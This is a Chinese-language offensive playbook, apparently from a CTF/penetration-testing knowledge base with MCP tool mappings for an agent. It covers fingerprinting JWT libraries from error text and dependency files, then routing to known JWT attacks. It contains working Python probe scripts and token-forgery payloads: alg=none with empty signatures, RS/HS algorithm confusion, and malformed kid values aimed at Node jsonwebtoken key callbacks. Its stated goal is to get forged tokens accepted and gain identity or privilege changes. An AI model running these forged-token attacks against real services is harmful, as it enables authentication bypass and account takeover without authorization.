JWT 依赖库 CVE 与指纹路由
JWT CVE 的实战入口不是“扫一遍 CVE”,而是:
text
错误文本 / 响应头 / 依赖清单 / token 行为
→ 语言与库指纹
→ 版本或实现分支假设
→ 最小 payload 变体
→ 同一业务 oracle 对比工作流
text
收集错误文本和依赖证据
→ 跑 malformed / none / no-sig / nbf / aud / kid 变体
→ 归类语言、库、版本或 key callback 分支
→ 映射到 01-06 的具体技术线
→ 用同一业务 oracle 证明身份、权限、数据或 flag 差异输入信号
| 信号 | 立即动作 | 命中样本 | 失败样本 |
|---|---|---|---|
错误里出现 secretOrPublicKey, jwt malformed, invalid signature | 路由到 Node jsonwebtoken | 错误文本随 malformed/none/no-sig 变体变化 | 全部被网关统一成 401 |
Algorithm none is not allowed, InvalidAlgorithmError | 路由到 PyJWT/python-jose | alg=none 被明确识别 | WAF/框架层直接拒绝 Authorization 格式 |
Jwts.parser, JwtException, io.jsonwebtoken | 路由到 Java jjwt | nbf/exp/alg 错误文本不同 | 只返回业务通用错误 |
go-jose, square/go-jose, jwt-go | 路由到 Go | none/crit/kid 解析差异可见 | 代理层吞掉错误 |
| package lock / requirements / pom 泄露 | 直接抽库版本 | 版本落入历史 CVE 区间 | 版本新但业务代码自写 key callback |
| OIDC/JWKS 元数据存在 | 判断 jku/kid/key rotation 路线 | kid 不存在时错误可区分 | kid 固定白名单 |
0. CVE 路由矩阵
| 路线 | 代表库/版本信号 | 关键变体 | 下一篇 |
|---|---|---|---|
| alg=none | python-jwt、python-jose、旧 jjwt、旧 php-jwt | 无签名、空签名、大小写 alg | 01-alg-none |
| RS/HS confusion | 接受 RS256 公钥,HS 分支未锁死 | 公钥 PEM/JWK/x5c 作 HMAC secret | 02-algorithm-confusion |
| weak HMAC | HS256 + 人类可读 secret | 字典、规则、环境名派生 | 03-weak-key-bruteforce |
| kid injection | kid not found、路径/SQL/命令回显 | traversal、SQLi、URL、空 key | 04-kid-injection |
| jku/x5u | header 中 key URL 被读取 | 自建 JWKS、host 绕过、kid 对齐 | 05-jku-x5u-abuse |
| claim parsing | aud/iss/exp/nbf/typ 错误可区分 | 缺失、数组/字符串、未来/过去 | 06-claim-missing |
| key callback | Node jsonwebtoken key lookup 可控 | null/undefined/object/key miss | 本篇 3.2 |
1. 版本与库指纹
python
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import requests
def b64(obj):
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
def token(header, payload=None, sig="sig"):
payload = payload or {"sub": "probe", "iat": 1}
return ".".join([b64(header), b64(payload), sig])
PROBES = {
"malformed": "abc.def.ghi",
"none_empty_sig": token({"alg": "none", "typ": "JWT"}, sig=""),
"none_with_sig": token({"alg": "none", "typ": "JWT"}, sig="x"),
"hs_no_sig": token({"alg": "HS256", "typ": "JWT"}, sig=""),
"rs_as_hs": token({"alg": "HS256", "typ": "JWT", "kid": "probe"}, sig="x"),
"future_nbf": token({"alg": "HS256", "typ": "JWT"}, {"sub": "probe", "nbf": 4102444800}, "x"),
"array_aud": token({"alg": "HS256", "typ": "JWT"}, {"sub": "probe", "aud": ["api", "admin"]}, "x"),
}
FINGERPRINTS = {
"secretOrPublicKey": "node-jsonwebtoken",
"jwt malformed": "node-jsonwebtoken",
"invalid token": "node-jsonwebtoken/express-jwt",
"InvalidAlgorithmError": "PyJWT",
"Algorithm none is not allowed": "PyJWT/python-jose",
"JWTClaimsError": "python-jose",
"io.jsonwebtoken": "jjwt",
"JwtException": "jjwt",
"Token is expired": "java/php/go jwt middleware",
"go-jose": "go-jose",
}
def hit(url, name, tok):
r = requests.get(url, headers={"Authorization": f"Bearer {tok}"}, timeout=10)
text = r.text[:1000]
libs = [lib for pat, lib in FINGERPRINTS.items() if pat.lower() in text.lower()]
return {
"case": name,
"status": r.status_code,
"hash": hashlib.sha256(r.text.encode(errors="ignore")).hexdigest()[:16],
"libs": sorted(set(libs)),
"sample": text[:180],
}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
args = ap.parse_args()
for name, tok in PROBES.items():
print(json.dumps(hit(args.url, name, tok), ensure_ascii=False))
if __name__ == "__main__":
main()成功样本:不同变体产生不同错误文本,能定位库族或中间件。失败样本:所有变体同一 401、同一 body hash,说明错误被统一封装,需要换 API oracle 或读依赖文件。
2. 依赖清单抽取
| 文件 | 字段 | JWT 库关键词 |
|---|---|---|
package.json/package-lock.json/yarn.lock/pnpm-lock.yaml | dependencies/version | jsonwebtoken, express-jwt, jose, jwks-rsa |
requirements.txt/poetry.lock/Pipfile.lock | package/version | PyJWT, python-jose, authlib, jwt |
pom.xml/gradle.lockfile | group/artifact/version | io.jsonwebtoken, nimbus-jose-jwt, java-jwt |
composer.lock | package/version | firebase/php-jwt, lcobucci/jwt |
go.mod/go.sum | module/version | golang-jwt/jwt, square/go-jose, lestrrat-go/jwx |
python
#!/usr/bin/env python3
import argparse
import json
import re
from pathlib import Path
PAT = re.compile(r"(?i)(jsonwebtoken|express-jwt|jwks-rsa|pyjwt|python-jose|authlib|io\.jsonwebtoken|nimbus-jose-jwt|java-jwt|firebase/php-jwt|lcobucci/jwt|golang-jwt/jwt|go-jose|lestrrat-go/jwx)[\"'=:/ @-]*([0-9][0-9A-Za-z._+-]*)?")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("files", nargs="+")
args = ap.parse_args()
for file in args.files:
text = Path(file).read_text(encoding="utf-8", errors="ignore")
for m in PAT.finditer(text):
print(json.dumps({"file": file, "package": m.group(1), "version_hint": m.group(2) or "", "offset": m.start()}, ensure_ascii=False))
if __name__ == "__main__":
main()3. 重点 CVE 与实现分支
3.1 none / confusion 历史类
| 条件 | Payload | 命中样本 | 失败样本 |
|---|---|---|---|
旧库接受 none | {"alg":"none"} + 空签名 | 改 sub/role 被接受 | 明确 none not allowed |
| alg 大小写/空白处理弱 | NoNe, none , NONE | 错误位置变化或被接受 | 全部归一化拒绝 |
| RS/HS confusion | 公钥作 HS256 secret | forged token 进业务 | 算法白名单固定 |
这类不要在本篇重复展开,直接按矩阵转对应文件,用同一业务 oracle 收敛。
3.2 Node key callback / key miss 路线
jsonwebtoken 的很多题面不是库本身裸漏洞,而是业务把 kid/tenant/iss 接到 key lookup,key miss 后进入异常分支。重点测:
| 变体 | 操作 | 命中样本 | 失败样本 |
|---|---|---|---|
kid 不存在 | kid=missing | 错误文本出现 key callback/key value | 固定 kid not found |
kid=null/undefined | JSON null、空字符串、数组 | 进入不同错误 hash | schema 拒绝 |
| tenant 切换 | iss/aud/tenant 指向低权限租户 | 高权限 API 接受低租户 key | issuer/audience mismatch |
| object pollution | header claim 为对象/数组 | JS 类型错误或异常分支 | JSON schema 固定字符串 |
python
#!/usr/bin/env python3
import argparse
import base64
import json
def enc(o):
return base64.urlsafe_b64encode(json.dumps(o, separators=(",", ":")).encode()).rstrip(b"=").decode()
def make(header, payload):
return f"{enc(header)}.{enc(payload)}.x"
HEADERS = [
{"alg": "HS256", "typ": "JWT", "kid": ""},
{"alg": "HS256", "typ": "JWT", "kid": "missing"},
{"alg": "HS256", "typ": "JWT", "kid": None},
{"alg": "HS256", "typ": "JWT", "kid": ["missing"]},
{"alg": "HS256", "typ": "JWT", "kid": {"toString": "missing"}},
]
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--sub", default="probe")
args = ap.parse_args()
for i, h in enumerate(HEADERS):
print(json.dumps({"case": f"key_callback_{i}", "token": make(h, {"sub": args.sub, "iat": 1})}, ensure_ascii=False))
if __name__ == "__main__":
main()4. CVE 证据判定
| 证据强度 | 说明 |
|---|---|
| 强 | 依赖文件给出库和版本,payload 让业务 oracle 发生身份/权限/flag 差异 |
| 中 | 错误文本高度指向库族,payload 推进到不同 handler,但还缺版本文件 |
| 弱 | 只有响应头框架猜测,payload 全部同一错误 |
| 冲突 | 版本看似受影响,但业务固定算法/key/claim,CVE 路线不成立 |
5. Evidence
| 项 | 记录内容 |
|---|---|
| 指纹输入 | HTTP 响应头、错误文本、依赖清单路径、OIDC/JWKS URL |
| 版本证据 | package 名、版本号、lockfile 行号、容器/源码路径 |
| payload 变体 | malformed、none、no-sig、future nbf、array aud、kid miss 等 |
| oracle | 每个变体的 status/body_hash/error_text/handler |
| 成功样本 | CVE 路由后的 token 被业务接口接受,产生身份、权限、数据或 flag 差异 |
| 失败样本 | 版本不受影响、算法固定、key lookup 固定、claim 校验稳定拒绝 |
| 下一跳 | 按路由矩阵转 01-06 对应文件,避免在 CVE 页重复跑全链 |
MCP 工具映射
| 步骤 | MCP 工具 | 说明 |
|---|---|---|
| 知识路由 | kb_router | 按库名、CVE、错误文本搜索 |
| HTTP 指纹 | http_probe | 发送固定 token 变体并记录响应 |
| 依赖读取 | kb_read_file | 结合仓库内 CVE/依赖路线复核 |